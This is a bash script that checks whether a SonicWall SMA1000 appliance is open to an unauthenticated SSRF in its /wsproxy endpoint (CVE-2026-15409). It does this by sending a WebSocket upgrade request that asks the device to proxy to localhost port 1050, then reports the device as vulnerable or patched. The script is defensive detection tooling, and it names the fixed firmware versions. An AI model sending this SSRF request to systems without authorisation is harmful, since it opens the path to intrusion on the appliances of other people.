SonicWall SMA1000 Work Place Unauthenticated SSRF via /wsproxy Leading to RCE

#!/usr/bin/env bash
# check_cve_2026_15409.sh — Remote vulnerability check for CVE-2026-15409
# SonicWall SMA1000 Work Place SSRF via /wsproxy
# Safe, non-exploitative probe: checks for WebSocket upgrade on /wsproxy
# Exit codes: 0=VULNERABLE, 1=PATCHED, 2=UNKNOWN

set -euo pipefail

if [ $# -lt 1 ]; then
  echo "Usage: $0 <target_host> [port]"
  echo "Example: $0 sma.example.com 443"
  exit 2
fi

TARGET="$1"
PORT="${2:-443}"
URL="https://${TARGET}:${PORT}/wsproxy?host=127.0.0.1&port=1050&bmID=-3389test"
TIMEOUT=10

echo "[*] CVE-2026-15409 Check — SonicWall SMA1000 /wsproxy SSRF"
echo "[*] Target: ${TARGET}:${PORT}"
echo "[*] Date: $(date -u +%Y-%m-%dT%H:%M:%SZ)"
echo ""

# Step 1: Check if the host is reachable and looks like SMA1000
echo "[*] Step 1: Checking if target is reachable..."
HTTP_CODE=$(curl -sk -o /dev/null -w '%{http_code}' --connect-timeout "$TIMEOUT" "https://${TARGET}:${PORT}/" 2>/dev/null || echo "000")

if [ "$HTTP_CODE" = "000" ]; then
  echo "[-] Target unreachable or connection refused."
  echo "UNKNOWN"
  exit 2
fi

echo "[+] Target responded with HTTP ${HTTP_CODE}"

# Step 2: Probe /wsproxy with WebSocket upgrade headers
echo "[*] Step 2: Probing /wsproxy endpoint..."
RESPONSE=$(curl -sk -i --connect-timeout "$TIMEOUT" --max-time 15 \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  -H "Sec-WebSocket-Version: 13" \
  "$URL" 2>/dev/null || echo "CURL_FAILED")

if echo "$RESPONSE" | grep -q "CURL_FAILED"; then
  echo "[-] Failed to probe /wsproxy endpoint."
  echo "UNKNOWN"
  exit 2
fi

# Step 3: Analyze the response
WSPROXY_STATUS=$(echo "$RESPONSE" | head -1 | grep -oP '\d{3}' | head -1 || echo "000")

echo "[*] /wsproxy responded with HTTP ${WSPROXY_STATUS}"

if [ "$WSPROXY_STATUS" = "101" ]; then
  echo ""
  echo "[!] ============================================"
  echo "[!] VULNERABLE — CVE-2026-15409"
  echo "[!] The /wsproxy endpoint accepted a WebSocket"
  echo "[!] upgrade to localhost:1050 without auth."
  echo "[!] Patch IMMEDIATELY to 12.4.3-03453+ or"
  echo "[!] 12.5.0-02835+."
  echo "[!] ============================================"
  echo ""
  echo "VULNERABLE"
  exit 0
elif [ "$WSPROXY_STATUS" = "403" ] || [ "$WSPROXY_STATUS" = "404" ] || [ "$WSPROXY_STATUS" = "400" ]; then
  echo ""
  echo "[+] PATCHED — /wsproxy returned ${WSPROXY_STATUS}"
  echo "[+] The endpoint appears to reject the SSRF"
  echo "[+] proxy request. Verify firmware version is"
  echo "[+] >= 12.4.3-03453 or >= 12.5.0-02835."
  echo ""
  echo "PATCHED"
  exit 1
else
  echo ""
  echo "[?] UNKNOWN — Unexpected response code ${WSPROXY_STATUS}"
  echo "[?] Manually verify the SMA1000 firmware version."
  echo "[?] Check AMC > System > Status for hotfix version."
  echo "[?] Vulnerable: 12.4.3-03434 and below, 12.5.0-02800 and below"
  echo "[?] Patched: 12.4.3-03453+, 12.5.0-02835+"
  echo ""
  echo "UNKNOWN"
  exit 2
fi